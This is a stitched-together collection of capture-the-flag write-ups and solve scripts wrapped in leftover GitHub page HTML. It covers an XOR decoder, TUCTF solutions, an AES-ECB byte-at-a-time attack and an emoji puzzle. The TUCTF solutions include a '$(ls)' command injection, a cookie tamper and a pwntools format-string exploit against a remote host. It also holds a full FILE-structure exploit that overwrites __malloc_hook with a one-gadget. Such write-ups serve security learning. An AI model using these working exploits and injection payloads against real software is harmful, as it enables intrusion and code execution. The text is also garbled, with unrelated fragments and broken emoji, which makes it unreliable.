src="/s-nirali/picoctf-2017/tree-commit/4e93d510045858b45c171880d1a2a00e6dc3266d/broadcast-l3" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/s-nirali/picoctf-2017/file-list/master/broadcast-l3"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sol.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
```# decode hex# str to list and char to ord encstr = enc.decode('hex')enclst = [ord(i) for i in list(encstr)] # in flag, the first 5 is known as 'flag{'# we can use this info to get the key by XORing the first 5 digits# this way we will get our key init_flag = ['flag{', '}']init_helm1 = map(f, init_flag[0])key1 = [chr(ord(i) ^ j) for i, j in zip(init_helm1, enclst)]flag_coded = ''.join(chr(i ^ ord(j)) for i, j in zip(enclst, scooter(key1))) all_str = string.ascii_letters + string.digits + '_.,;\'"<>?/{}\|+-=!@#$%^&*'all_str_f = map(f,all_str) flag_out = ''.join(all_str[all_str_f.index(x)] for x in list(flag_coded))flag_out.replace('J', '_')```
Write-up by @doegox and @PapaZours of Quarklabs. Many thanks to you for the job and GG for solving the first 5 levels ! Level4: [http://wiki.yobi.be/wiki/GreHack_2018_Writeups#Secret_Keeper_level_4_.28300_points.29](http://wiki.yobi.be/wiki/GreHack_2018_Writeups#Secret_Keeper_level_4_.28300_points.29)
TL;DR By choosing a well-crafted sequence of block numbers on which to trigger the seed update, we made sure that the seed would become 12345 and won the lottery. [Read More](https://github.com/pietroferretti/ctf/tree/master/secconquals2018/gacha)
## hardDOS - Misc 497: **Description:** Paying attention is mitey important! (Difficulty: Hard) **Challenge:** nc 18.216.100.42 12345 **Difficulty:** Medium **Solved by:** Tahar & Yanis **Solution:** We start by connecting to the given target, we follow the instructions that are printed out on the remote server and then choose the option **2**. Then we choose **y**. We start by injecting the following payload to get all files listed in the challenge's server: ```$(ls)```. We check all the files by running ```file FILENAME``` so we can check the type of every file following the challenge instructions!! We find an interesting file **GRAPHICS.COM**. We run the **strings** command to see what is in there since we can't use the **type** command: ```strings GRAPHICS.COM``` **Flag:** TUCTF{4LW4Y5_1NF3C7_7H353_19742_BY735}
## Professor Plum's Ravenous Researcher - Web 474: **Description:** Professor Plum is hiring! Maybe you can get the job! **Challenge:** http://18.223.185.148/ **Difficulty:** Medium **Solved by:** Tahar **Solution:** That was the hardest challenge between all WEB Challenges!! Took too many hours to get it done :-3 We open the URL as we used to do with **Web Challs**. Following the redirections we get into this page: **http://18.223.185.148/search.php**. I've received a hint from an Organizer, saying that I must link the other web challs names to solve this one and do more OSINT!!. And now, ideas started getting into my mind =) Googled too many times about the names of the other web challenges, and I found out that it is a **Clue Board Game**. And that's the official WikiPedia page that helped me a lot to get this challenge done: ```https://en.wikipedia.org/wiki/Cluedo``` Since, the challenge is talking about the locations, so I went directly to the **Rooms** section! ```billiard room``` was the right location!! It worked and now the page is saying something else!! Now, I started overthinking! I thinked about running BurpSuite so I can play with that WebApplication the right way ;-) I started getting angry and frustrated and damn tired and sleepy (It was 4AM), I just noticed that there is a parameter being sent to the server with the **Cookies Value: 0**. What I did is that I just changed that cookie parameter from 0 to **1** and boom it worked!! Finally x'D **Flag:** TUCTF{1_4ccu53_pr0f3550r_plum_w17h_7h3_c00k13_1n_7h3_b1ll14rd_r00m}
## Easter Egg: Copper Gate - Web 258: **Description:** How did I end up here? - Joker **Challenge:** http://18.191.227.167/ **Difficulty:** Easy **Solved by:** Tahar **Solution:** We open the URL, do a simple directory bruteforcing or try to guess it if you are lucky enough to save time! Found an interesting folder **.git**, Downloaded a file **http://18.191.227.167/.git/index**, opened this file using a **HEX Editor** and found an interesting folder in it!! **http://18.191.227.167/enterthecoppergate/gate.html** When we open this file we decode the **Base64 String** and done! **Flag:** TUCTF{W3lc0m3_T0_Th3_04515_Th3_C0pp3r_K3y}
# Ehh--- ## Description Difficulty: easyWhatever... I dunno nc 18.222.213.102 12345 --- ## Test Run First, let's run the program locally. ```root@kali:~/Desktop/tuctf/ehh-398# ./ehh >Input interesting text here< 0x565d6028asfasfasfasfV?root@kali:~/Desktop/tuctf/ehh-398# ./ehh >Input interesting text here< 0x56625028fsffsf{7bV?root@kali:~/Desktop/tuctf/ehh-398# ./ehh >Input interesting text here< 0x5659b028sdfsdfsdfsdfV?root@kali:~/Desktop/tuctf/ehh-398# ``` We can see that there are some hex digits printed out and some gibberish being echoed back. In order to determine what happen, let's disassemble it. ```gdb-peda$ disassemble mainDump of assembler code for function main: 0x00000670 <+0>: lea ecx,[esp+0x4] 0x00000674 <+4>: and esp,0xfffffff0 0x00000677 <+7>: push DWORD PTR [ecx-0x4] 0x0000067a <+10>: push ebp 0x0000067b <+11>: mov ebp,esp 0x0000067d <+13>: push ebx 0x0000067e <+14>: push ecx 0x0000067f <+15>: sub esp,0x20 0x00000682 <+18>: call 0x540 <__x86.get_pc_thunk.bx> 0x00000687 <+23>: add ebx,0x1979 0x0000068d <+29>: mov eax,DWORD PTR [ebx-0x10] 0x00000693 <+35>: mov eax,DWORD PTR [eax] 0x00000695 <+37>: push 0x14 0x00000697 <+39>: push 0x2 0x00000699 <+41>: push 0x0 0x0000069b <+43>: push eax 0x0000069c <+44>: call 0x4e0 <setvbuf@plt> 0x000006a1 <+49>: add esp,0x10 0x000006a4 <+52>: mov eax,DWORD PTR [ebx-0x14] 0x000006aa <+58>: mov eax,DWORD PTR [eax] 0x000006ac <+60>: push 0x14 0x000006ae <+62>: push 0x2 0x000006b0 <+64>: push 0x0 0x000006b2 <+66>: push eax 0x000006b3 <+67>: call 0x4e0 <setvbuf@plt> 0x000006b8 <+72>: add esp,0x10 0x000006bb <+75>: sub esp,0x8 0x000006be <+78>: lea eax,[ebx+0x28] 0x000006c4 <+84>: push eax 0x000006c5 <+85>: lea eax,[ebx-0x1850] 0x000006cb <+91>: push eax 0x000006cc <+92>: call 0x4b0 <printf@plt> 0x000006d1 <+97>: add esp,0x10 0x000006d4 <+100>: sub esp,0x4 0x000006d7 <+103>: push 0x18 0x000006d9 <+105>: lea eax,[ebp-0x20] 0x000006dc <+108>: push eax 0x000006dd <+109>: push 0x0 0x000006df <+111>: call 0x4a0 <read@plt> 0x000006e4 <+116>: add esp,0x10 0x000006e7 <+119>: sub esp,0xc 0x000006ea <+122>: lea eax,[ebp-0x20] 0x000006ed <+125>: push eax 0x000006ee <+126>: call 0x4b0 <printf@plt> 0x000006f3 <+131>: add esp,0x10 0x000006f6 <+134>: mov eax,DWORD PTR [ebx+0x28] 0x000006fc <+140>: cmp eax,0x18 0x000006ff <+143>: jne 0x713 <main+163> 0x00000701 <+145>: sub esp,0xc 0x00000704 <+148>: lea eax,[ebx-0x182e] 0x0000070a <+154>: push eax 0x0000070b <+155>: call 0x4c0 <system@plt> 0x00000710 <+160>: add esp,0x10 0x00000713 <+163>: mov eax,0x0 0x00000718 <+168>: lea esp,[ebp-0x8] 0x0000071b <+171>: pop ecx 0x0000071c <+172>: pop ebx 0x0000071d <+173>: pop ebp 0x0000071e <+174>: lea esp,[ecx-0x4] 0x00000721 <+177>: ret End of assembler dump.``` Due to the amount of time I can spend on a challenge before failing my exams, I quickly decompile it. ```cint __cdecl main(int argc, const char **argv, const char **envp){ char buf; // [esp+0h] [ebp-20h] int *v5; // [esp+18h] [ebp-8h] v5 = &arg;; setvbuf(stdout, 0, 2, 0x14u); setvbuf(stdin, 0, 2, 0x14u); printf(">Input interesting text here< %p\n", &val;; read(0, &buf, 0x18u); printf(&buf;; if ( val == 24 ) system("/bin/cat ./flag"); return 0;}```We can therefore see that it is most likely a format string attack since there is a `printf(&buf;;` after reading user input. To test it out, ```root@kali:~/Desktop/tuctf/ehh-398# ./ehh >Input interesting text here< 0x565fe028AAAA %x %x %x %x %x %x %x %x %xAAAA ffcbf1e8 18 0 f7eea3fc 565fe000 41414141 % ���root@kali:~/Desktop/tuctf/ehh-398# x %x %xbash: x: command not foundroot@kali:~/Desktop/tuctf/ehh-398# ``` Now, AAAA is stored as hex ini the 6th position. We can confirm that with `%6$x`. ```root@kali:~/Desktop/tuctf/ehh-398# ./ehh >Input interesting text here< 0x5656a028AAAA %6$xAAAA 41414141``` --- ## GOAL The aim for this program to print the flag is to make sure the variable val is 24. It is currently a non 24 number. Before proceeding, we need to find out the address of val so we can write into that memory. Also, this program is not stripped meaning we can most likely find the address by typing `p &val`. ```Breakpoint 1, 0x5655567f in main ()gdb-peda$ p &val$3 = (<data variable, no debug info> *) 0x56557028 <val> ``` It is `0x56557028`. Also we need to store int 24 and we will use the %n format to write it into the address. In the payload, we add the target address followed by 24 bytes written followed by %n format. Since we are targetting the 6th position, our payload can look something like this. ```pythonpayload = ""payload += targetpayload += "AAAABBBB"payload += "%6$12x"payload += "%6$n"``` For this challenge, the target address is always changing since ASLR is enabled on the server as well. However, the good news is that the target's address is printed out `>Input interesting text here< 0x565ec028`. So we can write a script to get that value and setup our payload then submit it to get the flag. ## The python script```pythonfrom pwn import * #p = process("./ehh")#raw_input() p = remote("18.222.213.102",12345) target = p.recvrepeat(0.4)print targettarget = target.split("<")[1][:-1].lstrip().rstrip()target = p32(int(target,16)) payload = ""payload += targetpayload += "AAAABBBB"payload += "%6$12x"payload += "%6$n"print("Payload : '" + payload +"'")p.sendline(payload)k = p.recvrepeat(0.5)print kp.close() ``` And the result is ![result](https://cexplrhome.files.wordpress.com/2018/11/solveehh.png) Flag : TUCTF{pr1n7f_15_pr377y_c00l_huh}------
## Yeahright - Reverse 149: **Description:** What an insensitive little program. Show it who's boss! **Challenge:** yeahright + flag + nc 18.224.3.130 12345 **Difficulty:** Easy **Solved by:** Tahar **Solution:** We download both files, the **flag** file isn't really an important file for the Challenge but it is good to test out if you are right or not! I started by reverse engineering the **yeahright** binary file after using the **file** command to get some usefull information before reversing it!! By reversing the file we find the needed password so when we connect to the online challenge service we use it and get the real **flag**. I tried the founded password and it just worked! Another simple trick is to use a **HEX Editor** It is easy and fast to get the password!! or you can use **IDA Pro** a GUI based Reverse Engineering framework that will get the job done in an easy and fast way!! Instead of using Radare2 or GDB or that kind of CLI based toolkits. **Flag:** TUCTF{n07_my_fl46_n07_my_pr0bl3m}
# AESential Lesson (Crypto 465 points) ![](AES.png) Source code: [redacted.py](redacted.py) From the heading, it is obvious that we are presented with a problem related to AES-ECB encryption. ## AES ECBECB(Electronic Code Book) is a mode of operation of AES Encryption. The disadvantage of using ECB mode is that with the same key, identical plaintext blocks return identical ciphertext blocks.We will be using that to our advantage for solving this challenge.More information about it is available [here](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) ## Exploring the Source Code```assert (len(flag) == 32) and (len(key) == 32)```This means that the length of the flag and the key are 32. Since the length of the key is 32, each block of 32 characters will be processed at a time. ```inp = sys.stdin.readline().rstrip('\n')plaintext = inp + flagl = len(plaintext) padl = (l // 32 + 1)*32 if l % 32 != 0 else 0 plaintext = plaintext.ljust(padl, padc)```This is where the interesting part starts. What is basically being done here is taking our input and appending the flag to it and then adding padding the plaintext so that it's length is a multiple of 32. We can observe that the padding character is also not provided ## Tasks1. Find the padding character2. Get the flag Exploit Source Code: [crack.py](crack.py) ## Finding the padding character```def get_padding_byte(r): for padding_byte in range(0x20, 0x7E): print padding_byte r.recvline() r.sendline("}" + chr(padding_byte) * 32) r.recvline() enc = r.recvline() print enc print enc[0:64] print enc[128:192] if(enc[:64] == enc[128:192]): print "FOUND PADDING BYTE " + chr(padding_byte) return chr(padding_byte)```We know that here the plaintext is processed in blocks of 32 characters each and identical plaintext blocks return identical ciphertext blocks.Since we know that the last character of the flag is "}", if we send 1 character as input, the total plaintext would be```inp_char + flag + padding * 31```That means the whole plaintext in block representation will be```(inp_char + flag[:-1]) + (flag[-1:] + padding * 31) Block-1 + Block-2```All we need to do is brute force the padding character to construct a same block as the Block-2. To do that, we send the input```"}" + brute_char * 32```That means the plaintext becomes```("}" + brute_char * 31) + (brute_char + flag[:-1]) + (flag[-1:] + padding * 31) Block-1 Block-2 Block-3```Now, when the brute_char becomes equal to the padding character, the encrypted block-1 and encrypted block-3 would be equal. By using this, we get to know that the padding character is UNDERSCORE ## Get the FlagUsing the above strategy, we can brute force for the flag, character by character starting from the last character ## References* https://michael-myers.github.io/blog/post/enigma2017-broken-encryption-writeup/
Write-up by @doegox and @PapaZours of Quarklabs. Many thanks to you for the job and GG for solving the first 5 levels ! Level3: [http://wiki.yobi.be/wiki/GreHack_2018_Writeups#Secret_Keeper_level_3_.28200_points.29](http://wiki.yobi.be/wiki/GreHack_2018_Writeups#Secret_Keeper_level_3_.28200_points.29)
# Square CTF 2018 - C10: fixed point ## Description ```If you are a Charvis then this is a simple application of Xkrith’s First and Sixth Theorems. If you are not a Charvis then you should familiarize yourself with Xkrith’s works. A primer can be found in Room 100034B.```Note: For the humans out there, this system is built on an oscillator. It’ll disable itself when you find the oscillator’s fixed point. ## Preparation The challenge was to find the ```x```, and f(x) should be equal x ( ```f(x) == x```). We have fixed_point.html, where f(x) was declared: ```function f(x) { if ((x.substr(0, 2) == '?') && (x.slice(-2) == '?')) { return x.slice(2, -2); } if (x.substr(0, 2) == '?') { return '?' + f(x.slice(2)); } if (x.substr(0, 2) == '?') { return f(x.slice(2)).match(/..|/g).reverse().join(""); } if (x.substr(0, 2) == '?') { return f(x.slice(2)).repeat(5); } if (x.substr(0, 2) == '?') { var t = f(x.slice(2)); return t.substr(0, t.length/2); } return "";}``` So.. At first sight, it is not difficult to determine that ```x``` - it is a string, that contains emoji symbols of rockets, unos, moons, go on. And ```f(x)``` - it is a function that interpreting input one by one symbol. Let's to dive in it. 1) ```?x?``` Rockets. Rockets are key players of this game. Because when ```f(x)``` gets into ```if(rockets)```, function just print ```x``` ( input in rockets, WITHOUT rockets).When another emojis pass substring after one of their to another emoji, rockets just print it, and the current recursion spins in the opposite direction! I call rockets as BRACKETS. Because they do nothing, they don't call ```f(x)``` again. And they disappears.. It is the hardest part of this game because rockets disappears. For example, when you print , you will see: ```?1122334455?``` -> ```1122334455``` P.S. I use plain numbers (by 2 symbols) to test this challenge, it is easy to see what happens 2) Another emojis - are functions. And I use next formula, I use any count of function, that are following each other, and one BRACKETS: FuncFuncFuncFuncFunc......?some_emojis_that_just_will_be_print? Where Func - one of ?, ?, ?, ? 3) ```?``` This emoji just reverse string, after this one. ```??1122334455?``` -> ```5544332211``` 4) ```?``` White moon gets string after this and multiples it by 5. ```??11?``` -> ```1111111111``` 5) ```?``` Black moon gets string after this and divides it by 2. ```??11223344?``` -> ```1122``` 6) ```?``` Uno - is solution for rockets. Because uno creates one rocket and continue to send substring to ```f(x)``` again ## Solution This challenge is solved from the end. Because a output of any function - it is a input for another one. So, let's start with BRACKETS(rockets)!!! ```?11223344?``` -> ```11223344``` Poorly... :) Okay, let's add uno to this. ```??11223344?``` -> ```?11223344``` Good, but output contains the rocket at first position, and it is unpossible with my rules. O, I can reverse it! ```???11223344?``` -> ```44332211?``` Good output, I have rocket at the last position, but my string into rockets are reversed. Okay, solve it in future. Also I have only one rocket it output, but moons can help me to multiple rocket. At first, multiple it with 1 white moon. And then divide with 2 moons. ```??????11223344?``` - > ```44332211?44``` Let's increment count of white and black moons, until you will see the following output . ```????????????11223344?``` - > ```44332211?44332211� ``` Fine! What I look here? I look that my input string in BRACKETS is reflected two times ( but it is reversed now), and I see one moon, and another one.. almost. So, let's clear bad rocket at the end and reverse input at the same time. ```?????????????11223344?``` -> ```11223344?11223344``` Will you see it? It is almost the end. You can paste ```????????????``` instead of ```11223344``` and you see :). But it is only a one rocket, where is another one.. last one.. Okay, what I know.. I know that with emoji-functions, I get ```11223344``` * 2 and one rocket. I have 4 symbols ( 11,22,33,44) * 2 and another one symbol (rocket). Can I do that I will have two rockets, but only (4 * 2 - 1 ) symbols? Exactly! I did a mistake ( but really not), in my previous steps. Just replace ? and ? symbols in the middle. ```?????????????11223344?``` -> ```223344?11223344?``` And it is the end :))) In input I have unnecessary symbol ```11```. Replace ```223344``` with ???????????? ```?????????????11?????????????``` -> Good!!! ## Finally Finally , this solution is not unique :) Maybe, you have another one? :)
```from pwn import * local = False # Credits: https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/def pack_file(_flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0, _IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0, _IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _IO_marker = 0, _IO_chain = 0, _fileno = 0, _lock = 0): struct = p32(_flags) + \ p32(0) + \ p64(_IO_read_ptr) + \ p64(_IO_read_end) + \ p64(_IO_read_base) + \ p64(_IO_write_base) + \ p64(_IO_write_ptr) + \ p64(_IO_write_end) + \ p64(_IO_buf_base) + \ p64(_IO_buf_end) + \ p64(_IO_save_base) + \ p64(_IO_backup_base) + \ p64(_IO_save_end) + \ p64(_IO_marker) + \ p64(_IO_chain) + \ p32(_fileno) struct = struct.ljust(0x88, "\x00") struct += p64(_lock) struct = struct.ljust(0xd8, "\x00") return struct def write(what, where): while what: p = 'A' * 16 p += p64(buf + 32) p += p64(0) p += pack_file(_flags = 0xfbad2887, _IO_read_end = buf, _IO_buf_base = where, _fileno = 1, _lock = buf + 0x100) s.sendline(p) s.sendline(chr(what & 0xff)) where += 1 what >>= 8 def leak(where): p = 'A' * 16 p += p64(buf + 32) p += p64(0) p += pack_file(_flags = 0xfbad2887, _IO_read_end = where, _IO_write_base = where, _IO_write_ptr = where + 8, _fileno = 1, _lock = buf + 0x100) s.sendline(p) s.recvline() return u64(s.recv(8)) if local: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') ONE_SHOT = 0x4526A s = process('./babyprintf_ver2')else: libc = ELF('./libc64.so') ONE_SHOT = 0x4F322 s = remote('150.109.44.250', 20005) s.sendline('IDEp7goBeitrNz1gO8MgiKWiOSgiiC4W') s.recvuntil('0x')buf = int(s.recv(12), 16) print 'buf @ ' + hex(buf) s.recvuntil('Have fun!\n') libc_base = leak(buf + 0xf8) - libc.symbols['_IO_file_jumps']malloc_hook = libc_base + libc.symbols['__malloc_hook']one_shot = libc_base + ONE_SHOT print 'libc @ ' + hex(libc_base) write(one_shot, malloc_hook) s.sendline('%66000c')s.recvuntil('\x7f') s.interactive()```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" 